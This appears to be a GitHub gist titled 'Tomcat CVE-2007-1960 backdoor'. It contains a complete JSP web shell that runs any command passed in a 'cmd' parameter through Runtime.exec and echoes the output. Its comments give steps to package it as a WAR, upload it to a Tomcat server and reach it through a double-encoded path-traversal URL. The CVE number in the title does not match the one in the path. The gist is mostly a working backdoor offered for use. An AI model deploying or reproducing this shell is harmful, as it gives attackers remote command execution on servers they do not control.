Skip to content

Instantly share code, notes, and snippets.

@juliosmelo
Created November 6, 2020 17:53
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save juliosmelo/61f99fc7f30086ebba9058c4ff16cec3 to your computer and use it in GitHub Desktop.
Save juliosmelo/61f99fc7f30086ebba9058c4ff16cec3 to your computer and use it in GitHub Desktop.
Tomcat CVE-2007-1960 backdoor
# how to use
# build
# $ jar -cvf index.war *
# upload to tomacat server
# execute
# http://taget/%252e%252e/%252e%252e/cve-2007-1860/index.jsp?cmd=ls
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment